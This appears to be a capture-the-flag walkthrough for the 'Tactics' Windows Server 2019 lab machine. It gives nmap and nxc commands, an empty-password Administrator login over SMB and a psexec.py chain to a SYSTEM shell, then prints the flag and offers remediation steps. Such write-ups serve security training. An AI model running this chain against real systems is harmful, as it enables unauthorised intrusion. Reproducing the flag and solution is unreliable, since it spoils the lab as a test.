TL;DR

Tactics is a Windows Server 2019 box with three open ports: 135 (RPC), 139 (NetBIOS), and 445 (SMB). Anonymous SMB access fails. The pivot: try Administrator with an empty password — the box was deployed without setting one. With admin SMB access, psexec.py drops an NT AUTHORITY\SYSTEM shell in seconds via ADMIN$. The flag is on the Administrator’s Desktop. Total time: 15 minutes including false starts.

Recon

1. Liveness check

$ ping -c 3 -W 2 10.129.37.173
3 packets transmitted, 3 received, 0% packet loss
# RTT: avg 35.3ms — machine is up, ICMP not filtered on this box

2. Full port scan

$ sudo nmap -sV -sC -O -p- --min-rate 1000 -oA scans/nmap-full 10.129.37.173

PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?

Running: Microsoft Windows 10|2019
OS CPE: cpe:/o:microsoft:windows_server_2019
Aggressive OS guesses: Microsoft Windows Server 2019 (97%)

smb2-security-mode: 3.1.1: Message signing enabled but not required
smb2-time: date: 2026-04-29T12:58:24

Key observations:

  • SMB Signing: disabled — theoretically allows NTLM relay, but only one machine here
  • Only 3 ports open — no web, no RDP, no WinRM exposed
  • Windows Server 2019 Build 17763

Note: First nmap run omitted -Pn and reported “Host seems down” — Windows firewall sometimes drops probe packets but keeps SMB alive. Always use -Pn for Windows targets on HTB.

3. SMB enumeration

$ nxc smb 10.129.37.173
SMB  10.129.37.173  445  TACTICS  [*] Windows 10 / Server 2019 Build 17763 x64
                                  (name:TACTICS) (domain:Tactics)
                                  (signing:False) (SMBv1:None)

Anonymous and guest sessions both fail:

$ nxc smb 10.129.37.173 -u '' -p '' --shares
[-] STATUS_ACCESS_DENIED

$ nxc smb 10.129.37.173 -u 'guest' -p 'guest'
[-] STATUS_LOGON_FAILURE

4. Share enumeration with SMB scripts

$ nmap -Pn -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery \
    10.129.37.173
# Scripts return no data without credentials — authentication required

At this point only one avenue remains: credential guessing.

Foothold

5. Administrator with empty password

Starting Point boxes often ship with Administrator credentials unconfigured:

$ nxc smb 10.129.37.173 -u 'Administrator' -p ''
SMB  TACTICS  [+] Tactics\Administrator: (Pwn3d!)

The (Pwn3d!) marker confirms administrative SMB access with an empty password.

$ nxc smb 10.129.37.173 -u 'Administrator' -p '' --shares
Share       Permissions     Remark
-----       -----------     ------
ADMIN$      READ,WRITE      Remote Admin
C$          READ,WRITE      Default share
IPC$        READ            Remote IPC

ADMIN$ is writable — psexec will use it to upload a service binary.

6. psexec.py → SYSTEM shell

$ psexec.py 'Tactics/Administrator:@10.129.37.173' -no-pass \
    -target-ip 10.129.37.173

Impacket v0.13.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.129.37.173.....
[*] Found writable share ADMIN$
[*] Uploading file ZAbClMxW.exe
[*] Opening SVCManager on 10.129.37.173.....
[*] Creating service ZFDN on 10.129.37.173.....
[*] Starting service ZFDN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

NT AUTHORITY\SYSTEM — highest Windows privilege, no escalation needed.

System Information

C:\Windows\system32> systeminfo
Host Name:               TACTICS
OS Name:                 Microsoft Windows Server 2019 Standard
OS Version:              10.0.17763 Build 17763
System Type:             x64-based PC
Hotfix(s):               4 Hotfix(s) Installed

Only 4 hotfixes installed — many months out of date, but no escalation needed.

Flag

C:\Windows\system32> dir C:\Users\Administrator\Desktop\
04/23/2021  02:39 AM                32 flag.txt

C:\Windows\system32> type C:\Users\Administrator\Desktop\flag.txt
f751c19eda8f61ce81827e6930a1f40c

What’s actually broken

#VulnerabilitySeverityCWE
1Administrator account with empty passwordCritical (CVSS 10.0)CWE-287: Improper Authentication
2No password complexity policy (min length 0)High (8.0)CWE-521: Weak Password Requirements
3SMB Signing disabledMedium (5.9)CWE-319: Cleartext Transmission
4Administrative shares (C$, ADMIN$) exposedHigh (7.5)CWE-276: Incorrect Default Permissions

Remediation

Set a strong Administrator password:

$pwd = ConvertTo-SecureString "R@nd0m!P@ssw0rd$2024" -AsPlainText -Force
Set-LocalUser -Name "Administrator" -Password $pwd

Enable SMB Signing:

Set-SmbServerConfiguration -RequireSecuritySignature $true -Force

Restrict administrative shares to management networks:

New-NetFirewallRule -Name "SMB-Restrict" -Protocol TCP -LocalPort 445 `
  -RemoteAddress "10.0.0.0/8" -Action Allow
Disable-NetFirewallRule -Name "FPS-SMB-In-TCP"

Enable password policy:

net accounts /minpwlen:12 /maxpwage:90 /lockoutthreshold:5

Lessons learned

  • -Pn on every Windows target. Windows Firewall often drops ICMP while SMB stays open. nmap without -Pn falsely reports the host as down. This costs time.
  • Empty Administrator password is a real finding. Not just a CTF thing — this happens in production when sysadmins deploy Windows VMs from templates and skip the password step. Check for it early: nxc smb <ip> -u 'Administrator' -p ''.
  • psexec works because of ADMIN$. The attack chain: writable ADMIN$ → upload random EXE → create Windows service → start service → get SYSTEM shell. Disabling or restricting ADMIN$ breaks this chain.
  • -target-ip flag matters for psexec. When the target hostname doesn’t resolve (HTB machines often don’t unless /etc/hosts is set), psexec.py needs an explicit IP. The host:@ip syntax alone isn’t enough.

Decision archaeology

ApproachResultPivot
Used nxc for initial enumerationFaster than smbmap/smbclient for protocol detectionCorrect — identified SMBv1=None quickly
Tried null session firstStandard procedure before credential guessingFailed, but correct order
Tried Administrator:'' immediately after guest failedHTB Starting Point boxes commonly have default/empty admin credsSucceeded
Used psexec over SMB vs evil-winrmWinRM (5985) not open — only SMB availablepsexec was the only viable path
Included -target-ip explicitlyMachine hostname TACTICS doesn’t resolve on my machine without /etc/hostsRequired for successful connection
Ran psexec.py without -target-ip, relied on DNS resolutionpsexec.py Tactics/Administrator:@10.129.37.173 -no-pass[!] SMBConnection error: [Errno -2] Name or service not known — hostname TACTICS not in /etc/hostsAdded -target-ip 10.129.37.173 flag — impacket connected to IP directly, SYSTEM shell received in 2 seconds

References